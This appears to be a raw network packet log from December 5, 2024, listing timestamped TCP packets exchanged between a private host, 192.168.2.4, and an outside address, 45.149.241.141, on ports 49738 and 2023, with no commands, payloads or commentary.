Dec 5, 2024 10:46:38.113594055 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.114517927 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.114600897 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.114645004 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.115627050 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.115767002 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.115904093 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.116812944 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.117012024 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.117058992 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.117897987 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.117995977 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.118079901 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.119045973 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.119139910 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.119369984 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.120201111 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.120251894 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.120294094 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.121303082 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.121396065 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.121433973 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.122447968 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.122562885 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.122612000 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.123641014 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.123687983 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.123750925 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.124739885 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.124835014 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.124887943 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.125896931 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.125994921 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.126945019 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.127237082 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.127342939 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.127446890 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.128176928 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.128274918 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.128818035 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.129268885 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.129357100 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.129400015 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.130481005 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.130542994 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.130631924 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.131247997 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.131356955 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.131402969 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.132375956 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.132529974 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.132571936 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.133524895 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.133641005 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.133690119 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.134692907 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.180222034 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.267290115 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.267370939 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.267450094 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.267720938 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.267829895 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.268203020 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.268790960 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.268817902 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.268872976 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.269890070 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.269963026 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.270019054 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.271044016 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.271078110 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.271128893 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.272304058 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.272392035 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.272437096 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.273555040 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.273675919 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.273722887 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.274466991 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.274537086 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.275608063 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.275660992 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.275661945 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.275703907 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.276741028 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.276843071 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.276890039 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.277940035 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.278058052 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.278105021 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.279073000 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.279242039 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.279293060 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.280179024 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.280272007 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.280319929 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.281297922 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.281392097 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.281446934 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.282506943 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.282551050 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.283091068 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.283628941 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.283725023 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.283776999 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.284763098 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.285001040 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.285063028 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.285969973 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.286011934 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.286061049 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.287060976 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.287122011 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.287168980 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.288295984 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.288450003 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.288505077 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.289591074 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.289689064 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.289737940 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.290668964 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.290889025 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.291501045 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.292237043 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.292483091 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.292527914 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.293484926 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.293569088 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.293623924 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.294785023 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.294929028 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.294981956 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.295892000 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.295937061 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.295993090 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.296895981 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.296931982 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.296987057 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.297787905 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.297815084 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.297874928 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.298696041 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.298789978 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.298836946 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.299962997 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.300004005 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.300041914 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.300925016 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.300991058 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.301047087 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.302155018 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.302222967 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.302269936 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.303273916 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.303468943 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.303514004 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.304511070 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.304538012 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.304600000 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.305871964 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.306068897 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.306458950 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.307105064 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.307167053 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.307267904 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.308254004 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.308306932 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.308352947 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.309283018 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.309398890 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.309442997 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.310491085 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.310518026 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.310554981 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.311398029 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.311516047 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.311564922 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.312473059 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.312535048 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.312751055 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.313591957 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.313617945 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.313682079 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.314824104 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.314898014 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.314940929 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.315862894 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.315918922 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.315969944 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.316962957 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.317058086 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.317106962 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.318034887 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.318228960 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.319010019 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.319055080 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.319067955 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.319096088 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.320039034 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.320199013 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.321336031 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.321396112 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.321547985 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.321593046 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.322618961 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.322655916 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.323331118 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.323385954 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.323482037 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.323518991 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.324357986 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.324579000 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.324632883 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.325428009 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.325515032 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.326524973 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.326570034 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.459232092 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.459321022 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.459417105 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.459796906 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.459887981 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.460200071 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.460993052 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.461066008 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.461116076 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.462162018 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.462305069 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.462353945 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.463227987 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.463255882 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.463310003 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.464411020 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.464488983 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.464534998 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.465488911 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.465672016 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.465751886 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.466650009 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.466747046 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.466784000 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.467875957 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.468019009 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.468066931 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.468971014 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.468997955 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.469058037 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.470151901 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.470221996 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.470267057 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.471173048 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.471200943 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.471251965 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.472441912 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.472510099 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.472556114 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.473517895 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.473542929 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.473602057 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.474690914 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.474750996 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.475265026 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.475714922 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.475775003 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.475819111 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.476891994 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.476949930 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.476999044 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.478022099 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.478117943 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.478164911 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.479196072 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.479216099 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.479264975 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.480305910 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.480427980 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.480479002 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.481476068 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.481503963 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.481617928 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.482561111 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.482666969 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.482716084 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.483726978 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.483831882 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.483874083 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.484859943 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.484971046 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.485018015 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.486083031 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.486119986 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.486171007 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.487363100 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.487488985 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.487535000 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.488822937 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.489082098 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.489131927 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.490184069 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.490309000 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.490355968 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.491466999 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.491564989 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.491638899 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.492594957 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.492621899 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.493303061 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.493987083 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.494148970 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.494199038 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.495570898 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.495695114 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.495743036 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.496764898 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.496896029 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.496942997 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.497870922 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.498002052 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.498044968 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.498637915 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.498673916 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.499262094 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.499567032 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.499639988 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.499686003 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.500550032 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.500643015 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.500693083 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.501405954 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.501494884 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.501542091 CET	49738	2023	192.168.2.4	45.149.241.141
Dec 5, 2024 10:46:38.502410889 CET	2023	49738	45.149.241.141	192.168.2.4
Dec 5, 2024 10:46:38.502526999 CET	2023	49738	45.149.241.141	192.168.2.4
